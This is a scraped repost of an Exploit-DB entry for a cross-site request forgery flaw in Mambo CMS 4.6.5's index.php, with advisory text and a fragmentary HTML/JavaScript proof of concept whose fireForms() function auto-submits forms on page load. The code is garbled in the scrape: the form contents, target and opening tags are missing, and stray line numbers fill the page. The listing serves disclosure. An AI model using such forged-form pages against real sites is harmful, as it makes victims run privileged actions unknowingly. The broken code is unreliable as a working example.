Mambo 4.6.5 – ‘index.php’ Cross-Site Request Forgery - 体验盒子

作者： Caddy-Dz

日期： 2011-08-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/36084/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

source: https://www.securityfocus.com/bid/49315/info

Mambo CMS is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue by tricking an unsuspecting user into visiting a malicious Web page. The page will consist of specially crafted script code designed to perform some action on the attacker's behalf.

Successful exploits will allow attackers to run privileged commands on the affected device.

Mambo CMS 4.6.5 is vulnerable; other versions may also be affected.

<html>

<head>

</head>

function fireForms()

{

var count = 1;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

}

</script>

</form>